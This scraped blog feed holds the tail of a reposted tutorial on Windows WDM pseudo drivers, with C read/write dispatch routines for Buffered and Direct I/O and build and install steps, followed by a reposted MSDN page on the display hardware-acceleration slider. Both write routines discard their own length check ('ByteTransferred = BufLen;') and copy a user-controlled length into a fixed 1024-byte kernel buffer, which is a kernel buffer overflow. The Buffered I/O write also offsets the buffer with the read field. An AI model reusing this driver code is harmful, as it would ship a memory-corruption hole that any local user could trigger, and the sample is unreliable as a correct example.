PDEVICE_EXTENSION p_DVCEXT;
NTSTATUS status;
DbgPrint(<span class=code-string>"</span><span class=code-string>IRP_MJ_WRITE : Begin\r\n"</span>);
<span class=code-comment>//</span><span class=code-comment>Get I/o Stack Location &amp; Device Extension
</span>    p_IO_STK = IoGetCurrentIrpStackLocation(Irp);
p_DVCEXT = DeviceObject-<span class=code-keyword>&gt;</span>DeviceExtension;
<span class=code-comment>//</span><span class=code-comment>Get User Input Buffer &amp; Length
</span>    BufLen = p_IO_STK-<span class=code-keyword>&gt;</span>Parameters.Write.Length;
Offset = p_IO_STK-<span class=code-keyword>&gt;</span>Parameters.Read.ByteOffset.QuadPart;
Buf = (PUCHAR)(Irp-<span class=code-keyword>&gt;</span>AssociatedIrp.SystemBuffer) + Offset;
<span class=code-comment>//</span><span class=code-comment>Get Driver Data Buffer &amp; Length
</span>    DataBuf = p_DVCEXT-<span class=code-keyword>&gt;</span>DataBuffer;
DataLen = <span class=code-digit>1024</span>;
IoAcquireRemoveLock(&amp;p_DVCEXT-<span class=code-keyword>&gt;</span>RemoveLock, Irp);
DbgPrint(<span class=code-string>"</span><span class=code-string>Input Buffer Length : %d\r\n"</span>, BufLen);
DbgPrint(<span class=code-string>"</span><span class=code-string>Driver Data Length : %d\r\n"</span>, DataLen);
<span class=code-keyword>if</span> (BufLen <span class=code-keyword>&lt;</span>= DataLen) {
ByteTransferred = BufLen;
} <span class=code-keyword>else</span> {
ByteTransferred = DataLen;
}
ByteTransferred = BufLen;
RtlZeroMemory(
p_DVCEXT-<span class=code-keyword>&gt;</span>DataBuffer,
<span class=code-digit>1024</span>);
RtlCopyMemory(
DataBuf,
Buf,
ByteTransferred);
IoReleaseRemoveLock(&amp;p_DVCEXT-<span class=code-keyword>&gt;</span>RemoveLock, Irp);
CompleteRequest(Irp, STATUS_SUCCESS, ByteTransferred);
DbgPrint(<span class=code-string>"</span><span class=code-string>IRP_MJ_WRITE : End\r\n"</span>);
<span class=code-keyword>return</span> STATUS_SUCCESS;
}</pre>
<h2>I/O Support : Direct I/O Mode</h2>
<p>Below graph exhibits how Direct I/O mode is supported when data is transferred between client application and driver. Under Direct I/O mode, Memory Manager will create MDL (Memory Descriptor List) to reference the physical address taken by user-provided buffer, all data can be directly referenced via MDL from kernel environment.</p>
<p><img height=465 src="http://www.codeproject.com/KB/system/WDM_Driver_development/DirectIO.jpg" width=600></p>
<p>In DDK, some <code>MMXxx</code> routines are provided to help you to get MDL that maps to physical address of user-provided buffer.</p>
<p><img height=628 src="http://www.codeproject.com/KB/system/WDM_Driver_development/DirectIOWorkFlow.jpg" width=600></p>
<p>Below code segment contains the statements that can support data reading under Direct I/O mode. It is achieved by <code>Mmxxx</code> routine, please read it carefully, and you can also find the full code in the zip file. The most important <code>MmXxx</code> you will use in this mode should be - <code>MmGetSystemAddressForMdlSafe</code>, it can obtain the MDL that references the physical address of user-buffer.</p>
<div class=SmallText id=premain7 style="WIDTH: 100%"><img id=preimg7 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="7"><span id=precollapse7 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="7"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/WDM_Driver_development.aspx#" preid="7"> Copy Code</a></div>
<pre id=pre7 style="MARGIN-TOP: 0px">NTSTATUS
PsdoDispatchRead(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
PVOID Buf; <span class=code-comment>//</span><span class=code-comment>Buffer provided by user program
</span>    ULONG BufLen; <span class=code-comment>//</span><span class=code-comment>Buffer length for user provided buffer
</span>    ULONG Offset;<span class=code-comment>//</span><span class=code-comment>Buffer Offset
</span>    PVOID DataBuf; <span class=code-comment>//</span><span class=code-comment>Buffer provided by Driver
</span>    ULONG DataLen; <span class=code-comment>//</span><span class=code-comment>Buffer length for Driver Data Buffer
</span>    ULONG ByteTransferred;
PIO_STACK_LOCATION p_IO_STK;
PDEVICE_EXTENSION p_DVCEXT;
DbgPrint(<span class=code-string>"</span><span class=code-string>IRP_MJ_READ : Begin\r\n"</span>);
<span class=code-comment>//</span><span class=code-comment>Get I/o Stack Location &amp; Device Extension
</span>    p_IO_STK = IoGetCurrentIrpStackLocation(Irp);
p_DVCEXT = DeviceObject-<span class=code-keyword>&gt;</span>DeviceExtension;
<span class=code-comment>//</span><span class=code-comment>Get User Output Buffer &amp; Length
</span>    Buf = MmGetSystemAddressForMdlSafe(
Irp-<span class=code-keyword>&gt;</span>MdlAddress, HighPagePriority);
<span class=code-keyword>if</span> (Buf == NULL) {
DbgPrint(<span class=code-string>"</span><span class=code-string>Can't get Virtual Address from MDL\r\n"</span>);
<span class=code-keyword>return</span> STATUS_INSUFFICIENT_RESOURCES;
}
BufLen = MmGetMdlByteCount(Irp-<span class=code-keyword>&gt;</span>MdlAddress);
Offset = MmGetMdlByteOffset(Irp-<span class=code-keyword>&gt;</span>MdlAddress);
<span class=code-comment>//</span><span class=code-comment>Get Driver Data Buffer &amp; Length
</span>    DataBuf = p_DVCEXT-<span class=code-keyword>&gt;</span>DataBuffer;
<span class=code-keyword>if</span> (DataBuf == NULL)
DataLen = <span class=code-digit>0</span>;
<span class=code-keyword>else</span>
DataLen = <span class=code-digit>1024</span>;
IoAcquireRemoveLock(&amp;p_DVCEXT-<span class=code-keyword>&gt;</span>RemoveLock, Irp);
DbgPrint(<span class=code-string>"</span><span class=code-string>Output Buffer Length : %d\r\n"</span>, BufLen);
DbgPrint(<span class=code-string>"</span><span class=code-string>Offset for Buffer in the Memory Page: %d\r\n"</span>, Offset);
DbgPrint(<span class=code-string>"</span><span class=code-string>Driver Data Length : %d\r\n"</span>, DataLen);
<span class=code-comment>//</span><span class=code-comment>
</span>    <span class=code-keyword>if</span> (BufLen <span class=code-keyword>&lt;</span>= DataLen) {
ByteTransferred = BufLen;
} <span class=code-keyword>else</span> {
ByteTransferred = DataLen;
}
RtlCopyMemory(
Buf,
DataBuf,
ByteTransferred);
IoReleaseRemoveLock(&amp;p_DVCEXT-<span class=code-keyword>&gt;</span>RemoveLock, Irp);
CompleteRequest(Irp, STATUS_SUCCESS, ByteTransferred);
DbgPrint(<span class=code-string>"</span><span class=code-string>IRP_MJ_READ : End\r\n"</span>);
<span class=code-keyword>return</span> STATUS_SUCCESS;
}</pre>
<p>Below code segment demos the possible workflow to write data from user application to driver:</p>
<div class=SmallText id=premain8 style="WIDTH: 100%"><img id=preimg8 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="8"><span id=precollapse8 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="8"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/WDM_Driver_development.aspx#" preid="8"> Copy Code</a></div>
<pre id=pre8 style="MARGIN-TOP: 0px">NTSTATUS
PsdoDispatchWrite(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
PVOID Buf; <span class=code-comment>//</span><span class=code-comment>Buffer provided by user program
</span>    ULONG BufLen; <span class=code-comment>//</span><span class=code-comment>Buffer length for user provided buffer
</span>    ULONG Offset;<span class=code-comment>//</span><span class=code-comment>Buffer Offset
</span>    PVOID DataBuf; <span class=code-comment>//</span><span class=code-comment>Buffer provided by Driver
</span>    ULONG DataLen; <span class=code-comment>//</span><span class=code-comment>Buffer length for Driver Data Buffer
</span>    ULONG ByteTransferred;
PIO_STACK_LOCATION p_IO_STK;
PDEVICE_EXTENSION p_DVCEXT;
NTSTATUS status;
DbgPrint(<span class=code-string>"</span><span class=code-string>IRP_MJ_WRITE : Begin\r\n"</span>);
<span class=code-comment>//</span><span class=code-comment>Get I/o Stack Location &amp; Device Extension
</span>    p_IO_STK = IoGetCurrentIrpStackLocation(Irp);
p_DVCEXT = DeviceObject-<span class=code-keyword>&gt;</span>DeviceExtension;
<span class=code-comment>//</span><span class=code-comment>Get User Input Buffer &amp; Length
</span>    Buf = MmGetSystemAddressForMdlSafe(
Irp-<span class=code-keyword>&gt;</span>MdlAddress, HighPagePriority);
<span class=code-keyword>if</span> (Buf == NULL) {
DbgPrint(<span class=code-string>"</span><span class=code-string>Can't get Virtual Address from MDL\r\n"</span>);
<span class=code-keyword>return</span> STATUS_INSUFFICIENT_RESOURCES;
}
BufLen = MmGetMdlByteCount(Irp-<span class=code-keyword>&gt;</span>MdlAddress);
Offset = MmGetMdlByteOffset(Irp-<span class=code-keyword>&gt;</span>MdlAddress);
<span class=code-comment>//</span><span class=code-comment>Get Driver Data Buffer &amp; Length
</span>    DataBuf = p_DVCEXT-<span class=code-keyword>&gt;</span>DataBuffer;
DataLen = <span class=code-digit>1024</span>;
IoAcquireRemoveLock(&amp;p_DVCEXT-<span class=code-keyword>&gt;</span>RemoveLock, Irp);
DbgPrint(<span class=code-string>"</span><span class=code-string>Input Buffer Length : %d\r\n"</span>, BufLen);
DbgPrint(<span class=code-string>"</span><span class=code-string>Offset for Buffer in the Memory Page: %d\r\n"</span>, Offset);
DbgPrint(<span class=code-string>"</span><span class=code-string>Driver Data Length : %d\r\n"</span>, DataLen);
<span class=code-keyword>if</span> (BufLen <span class=code-keyword>&lt;</span>= DataLen) {
ByteTransferred = BufLen;
} <span class=code-keyword>else</span> {
ByteTransferred = DataLen;
}
ByteTransferred = BufLen;
RtlZeroMemory(
p_DVCEXT-<span class=code-keyword>&gt;</span>DataBuffer,
<span class=code-digit>1024</span>);
RtlCopyMemory(
DataBuf,
Buf,
ByteTransferred);
IoReleaseRemoveLock(&amp;p_DVCEXT-<span class=code-keyword>&gt;</span>RemoveLock, Irp);
CompleteRequest(Irp, STATUS_SUCCESS, ByteTransferred);
DbgPrint(<span class=code-string>"</span><span class=code-string>IRP_MJ_WRITE : End\r\n"</span>);
<span class=code-keyword>return</span> STATUS_SUCCESS;
}</pre>
<h2>Contents of the source zip package</h2>
<p>The zip file contains below subfolders:</p>
<ol>
    <li><em>Application</em>: it contains the client applications to the Pseudo Driver.
    <li><em>bin</em>: it contains the install/uninstall utility for Pseudo Driver.
    <li><em>BufferedIO_PW</em>: it is where the Pseudo Driver that employees Buffered I/O mode for read/write resides.
    <li><em>DirectIO_PW</em>: it is where the Pseudo Driver that employees Direct I/O Mode for read/write resides.
    <li><em>IOCTL_PW</em>: it is where the Pseudo Driver that simply supports user-defined I/O Control Code resides.
    <li><em>ShareFiles</em>: it is the common shared library for PnP, Power Management, I/O completion.
    <li><em>Install</em>: it contains the source code of install/uninstall utility. (Install utility is directly referenced from DDK's sample, I won't provide redundant copy of it, only the uninstall utility source code is provided in it). </li>
</ol>
<h2>How to build the Pseudo Driver?</h2>
<ol>
    <li>Unzip the package to some folder you'd like it to be, let's name it <em>ROOT_OF_SOURCE</em>.
    <li>Select Start-&gt;Programs-&gt;Development Kits-&gt;Windows DDK xxxx.xxxx-&gt;Build Environments-&gt;Free Build. (This is for free release without debug information in it.)
    <li>Enter <em>ROOT_OF_SOURCE\SharedFiles</em> subfolder, enter <strong>build -cefw</strong>, it all goes well, shared library will be generated.
    <li>Enter <em>ROOT_OF_SOURCE\BufferedIO_PW</em> subfolder, enter <strong>build -cefw</strong>, it will create Pseudo Driver - <em>BufferDrv.sys</em>. Copy this file into <em>ROOT_OF_SOURCE\BufferedIO_PW\Install</em> if you have made add-in for any new features, the copy is for later driver install.
    <li>Enter <em>ROOT_OF_SOURCE\DirectIO_PW</em> subfolder, enter <strong>build -cefw</strong>, it will create Pseudo Driver - <em>DirectDrv.sys</em>. Copy this file into <em>ROOT_OF_SOURCE\DirectIO_PW\Install</em> if you have made add-in for any new features, the copy is for later driver install.
    <li>Enter <em>ROOT_OF_SOURCE\IOCTL_PW</em> subfolder, enter <strong>build -cefw</strong>, it will create Pseudo Driver - <em>PseudoDrv.sys</em>. Copy this file into <em>ROOT_OF_SOURCE\IOCTL_PW\Install</em> if you have made add-in for any new features, the copy is for later driver install. </li>
</ol>
<h2>Install Pseudo Driver into system (XP)</h2>
<ol>
    <li>Unzip the source file, launch DOS prompt-console.
    <li>Enter into <em>bin</em> subfolder.
    <li>Execute <em>DevInst.bat</em>, it will automatically install the Pseudo Driver into your system. </li>
</ol>
<h2>Uninstall Pseudo Driver from system (XP)</h2>
<ol>
    <li>Enter into <em>bin</em> subfolder.
    <li>Execute <em>DevRemove.bat</em>, it will automatically uninstall all-driver related resources from your system. </li>
</ol>
<h2>Execute client application</h2>
<p>You can enter into <em>ROOT_OF_SOURCE\Application</em> subfolder, execute <em>bufferclient.exe</em>, <em>directclient.exe</em>, and <em>clientapp.exe</em> to verify if the three Pseudo Drivers have been installed successfully.</p>
<h2>Known Issues</h2>
<ul>
    <li>The install/uninstall of Pseudo Driver won't wok on Window 2000, the root cause might be that the Setup API doesn't work on Window 2000, can't allow driver installed without a physical hardware in it. Can anybody help to resolve it? Many Thanks.
    <li>If you'd like to install/uninstall the Pseudo Driver in Windows 2000, you will need to launch New Hardware Wizard from within Device Manager, and select to install new hardware-&gt;Display all hardware-&gt;Install from disk-&gt;"ROOT_OF_SOURCE\BufferedIO_PW\Install", click on OK button. New Hardware Wizard will install Buffered I/O Pseudo Driver. (This is for Buffered I/O demo driver install. As for Direct I/O, please set source directory to "<em>ROOT_OF_SOURCE\DirectIO_PW\Install</em>").
    <li>Reboot is required if the driver has been reinstalled after un-installation. I don't know why this happened, I hope somebody can inform me. Many Thanks. </li>
</ul>
<h2>Future Directions for Pseudo Driver</h2>
<ol>
    <li>Fix above issues.
    <li>WMI support in Pseudo Driver will be added-in. </li>
</ol>
<h2>History</h2>
<ol>
    <li>Started to create the three Pseudo Drivers on 2002/02/10, finished on 2003/12/28 (I use the rest time for it), released on 2004/10/20 after my book published. </li>
</ol>
<!-- Main Page Contents End -->
<form id=aspnetForm style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-TOP: 0px" name=aspnetForm action=displayarticle.aspx method=post>
    <div><input id=__VIEWSTATE type=hidden value=/wEPDwUKMTAyMTMzODg1Ng9kFgJmD2QWBAILD2QWBgIDDw8WAh4HVmlzaWJsZWdkZAIJDw8WAh8AZ2RkAgwPDxYCHwBnZGQCDA9kFgoCBw9kFg4CAQ9kFgJmDxYCHgtfIUl0ZW1Db3VudAIBFgICAQ9kFgQCAQ8PFgIeCEltYWdlVXJsBSYvc2NyaXB0L0F3YXJkcy9JbWFnZXMvcHJpemVfd2lubmVyLmdpZmRkAgMPFgIeBFRleHQFEiJNRkMvQysrIFNlcCAyMDA0ImQCAw9kFgpmDw8WAh4LTmF2aWdhdGVVcmwFNC9LQi9zeXN0ZW0vV0RNX0RyaXZlcl9kZXZlbG9wbWVudC5hc3B4P2Rpc3BsYXk9UHJpbnRkZAIBDw8WAh8EBSUvc2NyaXB0L0FydGljbGVzL1JlcG9ydC5hc3B4P2FpZD04NjUxZGQCAg8PFgIfAGhkZAIDDw8WAh8AaGRkAgUPDxYCHwQFMC9zY3JpcHQvY29tbW9uL1RlbGxGcmllbmQuYXNweD9vYnRpZD0yJm9iaWQ9ODY1MWRkAgUPZBYEAgEPZBYCAgEPDxYCHwMFGzExNiB2b3RlcyBmb3IgdGhpcyBBcnRpY2xlLmRkAgcPZBYCZg9kFgQCAQ8PFgQfAwUQUG9wdWxhcml0eTogOS44OR8EBSkvc2NyaXB0L0FydGljbGVzL1RvcEFydGljbGVzLmFzcHg/dGFfc289MWRkAgUPFgIfAwUcUmF0aW5nOiA8Yj40Ljc5PC9iPiBvdXQgb2YgNWQCGQ9kFgoCAQ9kFgQCAQ8WAh4JaW5uZXJodG1sBbECPHA+VGhpcyBhcnRpY2xlIGhhcyBubyBleHBsaWNpdCBsaWNlbnNlIGF0dGFjaGVkIHRvIGl0IGJ1dCBtYXkgY29udGFpbiB1c2FnZSB0ZXJtcyBpbiB0aGUgYXJ0aWNsZSB0ZXh0IG9yIHRoZSBkb3dubG9hZCBmaWxlcyB0aGVtc2VsdmVzLiBJZiBpbiBkb3VidCBwbGVhc2UgY29udGFjdCB0aGUgYXV0aG9yIHZpYSB0aGUgZGlzY3Vzc2lvbiBib2FyZCBiZWxvdy48L3A+PHA+QSBsaXN0IG9mIGxpY2Vuc2VzIGF1dGhvcnMgbWlnaHQgdXNlIGNhbiBiZSBmb3VuZCA8YSBocmVmPSIvaW5mby9MaWNlbnNlcy5hc3B4Ij5oZXJlPC9hPjwvcD5kAgIPZBYCAgEPEGRkFgBkAgUPFgIfAQIBZAIHDxYCHwMF1wc8aDI+T3RoZXIgcG9wdWxhciBIYXJkd2FyZSAmIFN5c3RlbSBhcnRpY2xlczo8L2gyPjx1bD48bGk+PGEgaHJlZj0iL0tCL3N5c3RlbS94eW50c2VydmljZS5hc3B4Ij5TdGFydCBZb3VyIFdpbmRvd3MgUHJvZ3JhbXMgRnJvbSBBbiBOVCBTZXJ2aWNlPC9hPjxkaXYgY2xhc3M9IlNtYWxsVGV4dCI+TWFrZSB5b3VyIE1GQywgVkIgYW5kIG90aGVyIFdpbmRvd3MgcHJvZ3JhbXMgYmVoYXZlIGxpa2UgTlQgc2VydmljZXMuPC9kaXY+PC9saT48bGk+PGEgaHJlZj0iL0tCL3N5c3RlbS9zZXJpYWwuYXNweCI+U2VyaWFsIGxpYnJhcnkgZm9yIEMrKzwvYT48ZGl2IGNsYXNzPSJTbWFsbFRleHQiPkEgaGlnaC1wZXJmb3JtYW5jZSwgY29tcGxldGUgYW5kIGNvbXBhY3Qgc2VyaWFsIGxpYnJhcnkgZm9yIEMrKzwvZGl2PjwvbGk+PGxpPjxhIGhyZWY9Ii9LQi9zeXN0ZW0vZHJpdmVyZGV2LmFzcHgiPkRyaXZlciBEZXZlbG9wbWVudCBQYXJ0IDE6IEludHJvZHVjdGlvbiB0byBEcml2ZXJzPC9hPjxkaXYgY2xhc3M9IlNtYWxsVGV4dCI+VGhpcyBhcnRpY2xlIHdpbGwgZ28gaW50byB0aGUgYmFzaWNzIG9mIGNyZWF0aW5nIGEgc2ltcGxlIGRyaXZlci48L2Rpdj48L2xpPjxsaT48YSBocmVmPSIvS0Ivc3lzdGVtL2hvb2tzeXMuYXNweCI+QVBJIGhvb2tpbmcgcmV2ZWFsZWQ8L2E+PGRpdiBjbGFzcz0iU21hbGxUZXh0Ij5UaGUgYXJ0aWNsZSBkZW1vbnN0cmF0ZXMgaG93IHRvIGJ1aWxkIGEgdXNlciBtb2RlIFdpbjMyIEFQSSBzcHlpbmcgc3lzdGVtPC9kaXY+PC9saT48bGk+PGEgaHJlZj0iL0tCL3N5c3RlbS9Ob0RlbGV0ZURlbGF5LmFzcHgiPkVsaW1pbmF0aW5nIEV4cGxvcmVyJ3MgZGVsYXkgd2hlbiBkZWxldGluZyBhbiBpbi11c2UgZmlsZTwvYT48ZGl2IGNsYXNzPSJTbWFsbFRleHQiPkhvdyB0byB0cmFjayBkb3duIGFuZCBwYXRjaCBhbiBhbm5veWFuY2UgaW4gV2luZG93cyBFeHBsb3JlcidzIGNvZGUuPC9kaXY+PC9saT48L3VsPmQCCQ8PFgIfAGdkZAIND2QWAmYPZBYCAgEPZBYCZg9kFgICCQ8WAh8AaBYCAgEPEGRkFgBkAhsPDxYCHwBnZGQCHQ8PFgIfAGdkZAIlDxYCHwBoZAILDw8WAh8EBSYvc2NyaXB0L0FydGljbGVzL0FydGljbGUuYXNweD9haWQ9ODY1MWRkAhEPFgIfAwULMjUgT2N0IDIwMDRkAhMPDxYEHwMFDlNtaXRoYSBWaWpheWFuHwQFJi9zY3JpcHQvTWVtYmVyc2hpcC9WaWV3LmFzcHg/bWlkPTI4OTcwZGQCFQ8WAh8DBRhDb3B5cmlnaHQgMjAwNCBieSBtanRzYWlkZKun6E7L+BN7Uygk/ES8T0p1CxEx name=__VIEWSTATE> </div>
    <h2>License</h2>
    <div id=ctl00_LicenseTerms>
    <p>This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below.</p>
    <p>A list of licenses authors might use can be found <a href="http://www.codeproject.com/info/Licenses.aspx">here</a></p>
    </div>
</form>
<img src ="http://www.cppblog.com/iniwf/aggbug/79645.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-11 23:46 <a href="http://www.cppblog.com/iniwf/archive/2009/04/11/79645.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Display Hardware Acceleration Slider</title><link>http://www.cppblog.com/iniwf/archive/2009/04/11/79644.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Sat, 11 Apr 2009 15:29:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/11/79644.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79644.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/11/79644.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79644.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79644.html</trackback:ping><description><![CDATA[<a href="http://msdn.microsoft.com/en-us/library/ms797889.aspx">http://msdn.microsoft.com/en-us/library/ms797889.aspx</a><br><br>
<div class=topic>
<div class=majorTitle>Windows Driver Kit: Display Devices</div>
<div class=title>Display Hardware Acceleration Slider</div>
<!--content type: PSDK_3. Transform: webcollection2mtps.xslt.-->
<div><!----></div>
<a id=dpyddi_e3ed9483-7ade-4a2c-8138-dbfeb469fd19.xml><!----></a>
<p><!----></p>
<p>The <strong>Display Properties</strong> dialog box has a hardware acceleration slider that can be helpful when you debug a display driver. By using the slider, you can set the display hardware acceleration support to one of six levels ranging from level 0 (full acceleration) to level 5 (no acceleration).</p>
<p>To find the hardware acceleration slider in Microsoft Windows&nbsp;XP, open the <strong>Display Properties</strong> dialog box and click the <strong>Settings </strong>tab. Click the <strong>Advanced</strong> button, and then click the <strong>Troubleshoot</strong> tab.</p>
<p>The following list describes the portion of hardware acceleration that is disabled at each level. Any feature that is disabled at a particular level is disabled in all subsequent levels.</p>
<dl>
<dt><strong>Level 0</strong>
<dd>The slider is in the far right position. Hardware acceleration is fully enabled.
<dt><strong>Level 1</strong>
<dd>Hardware cursor and device-bitmap support are disabled.
<dt><strong>Level 2</strong>
<dd>The following display driver functions are not called. Instead, GDI performs the operations in software.<strong><!----></strong>
<ul>
    <li><a id=ctl00_rs1_mainContentContainer_ctl01 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl01',this);" href="http://msdn.microsoft.com/en-us/library/ms793414.aspx"><em><font color=#0033cc>DrvStretchBlt</font></em></a>
    <li><a id=ctl00_rs1_mainContentContainer_ctl02 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl02',this);" href="http://msdn.microsoft.com/en-us/library/ms793415.aspx"><em><font color=#0033cc>DrvPlgBlt</font></em></a>
    <li><a id=ctl00_rs1_mainContentContainer_ctl03 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl03',this);" href="http://msdn.microsoft.com/en-us/library/ms793388.aspx"><em><font color=#0033cc>DrvFillPath</font></em></a>
    <li><a id=ctl00_rs1_mainContentContainer_ctl04 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl04',this);" href="http://msdn.microsoft.com/en-us/library/ms793776.aspx"><em><font color=#0033cc>DrvStrokeAndFillPath</font></em></a>
    <li><a id=ctl00_rs1_mainContentContainer_ctl05 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl05',this);" href="http://msdn.microsoft.com/en-us/library/ms793418.aspx"><em><font color=#0033cc>DrvLineTo</font></em></a>
    <li><a id=ctl00_rs1_mainContentContainer_ctl06 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl06',this);" href="http://msdn.microsoft.com/en-us/library/ms793773.aspx"><em><font color=#0033cc>DrvStretchBltROP</font></em></a>
    <li><a id=ctl00_rs1_mainContentContainer_ctl07 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl07',this);" href="http://msdn.microsoft.com/en-us/library/ms793425.aspx"><em><font color=#0033cc>DrvTransparentBlt</font></em></a>
    <li><a id=ctl00_rs1_mainContentContainer_ctl08 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl08',this);" href="http://msdn.microsoft.com/en-us/library/ms793853.aspx"><em><font color=#0033cc>DrvAlphaBlend</font></em></a>
    <li><a id=ctl00_rs1_mainContentContainer_ctl09 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl09',this);" href="http://msdn.microsoft.com/en-us/library/ms793393.aspx"><em><font color=#0033cc>DrvGradientFill</font></em></a> </li>
</ul>
<dd>
<dt><strong>Level 3</strong>
<dd>Microsoft DirectDraw and Direct3D support are disabled.
<dt><strong>Level 4</strong>
<dd>Only the following graphics operations are accelerated.<strong><!----></strong>
<ul>
    <li><a id=ctl00_rs1_mainContentContainer_ctl10 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl10',this);" href="http://msdn.microsoft.com/en-us/library/ms793798.aspx"><em><font color=#0033cc>DrvTextOut</font></em></a>
    <li><a id=ctl00_rs1_mainContentContainer_ctl11 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl11',this);" href="http://msdn.microsoft.com/en-us/library/ms793386.aspx"><em><font color=#0033cc>DrvBitBlt</font></em></a>
    <li><a id=ctl00_rs1_mainContentContainer_ctl12 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl12',this);" href="http://msdn.microsoft.com/en-us/library/ms793424.aspx"><em><font color=#0033cc>DrvCopyBits</font></em></a>
    <li><a id=ctl00_rs1_mainContentContainer_ctl13 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl13',this);" href="http://msdn.microsoft.com/en-us/library/ms793410.aspx"><em><font color=#0033cc>DrvStrokePath</font></em></a> </li>
</ul>
<dd>
<dd>Also, the following display driver functions are not called.<strong><!----></strong>
<ul>
    <li><a id=ctl00_rs1_mainContentContainer_ctl14 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl14',this);" href="http://msdn.microsoft.com/en-us/library/ms793399.aspx"><em><font color=#0033cc>DrvSaveScreenBits</font></em></a>
    <li><a id=ctl00_rs1_mainContentContainer_ctl15 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl15',this);" href="http://msdn.microsoft.com/en-us/library/ms793387.aspx"><em><font color=#800080>DrvEscape</font></em></a>
    <li><a id=ctl00_rs1_mainContentContainer_ctl16 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl16',this);" href="http://msdn.microsoft.com/en-us/library/ms793786.aspx"><em><font color=#0033cc>DrvDrawEscape</font></em></a>
    <li><a id=ctl00_rs1_mainContentContainer_ctl17 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl17',this);" href="http://msdn.microsoft.com/en-us/library/ms793417.aspx"><em><font color=#0033cc>DrvResetPDEV</font></em></a>
    <li><a id=ctl00_rs1_mainContentContainer_ctl18 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl18',this);" href="http://msdn.microsoft.com/en-us/library/ms793385.aspx"><em><font color=#0033cc>DrvSetPixelFormat</font></em></a>
    <li><a id=ctl00_rs1_mainContentContainer_ctl19 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl19',this);" href="http://msdn.microsoft.com/en-us/library/ms793755.aspx"><em><font color=#0033cc>DrvDescribePixelFormat</font></em></a>
    <li><a id=ctl00_rs1_mainContentContainer_ctl20 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl20',this);" href="http://msdn.microsoft.com/en-us/library/ms793422.aspx"><em><font color=#0033cc>DrvSwapBuffers</font></em></a> </li>
</ul>
<dd>
<dt><strong>Level 5</strong>
<dd>The slider is in the far left position. The panning driver (part of kernel-mode GDI) handles all rendering. GDI calls the display driver's <a id=ctl00_rs1_mainContentContainer_ctl21 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl21',this);" href="http://msdn.microsoft.com/en-us/library/ms793408.aspx"><font color=#0033cc>DrvEnablePDEV</font></a> and <a id=ctl00_rs1_mainContentContainer_ctl22 onclick="javascript:Track('ctl00_rs1_mainContentContainer_ctl00|ctl00_rs1_mainContentContainer_ctl22',this);" href="http://msdn.microsoft.com/en-us/library/ms793770.aspx"><em><font color=#0033cc>DrvEnableSurface</font></em></a> functions to create a primary surface and also calls the display driver to set the display mode. The display driver is not called to do any rendering. </dd></dl>
<p><!----></p>
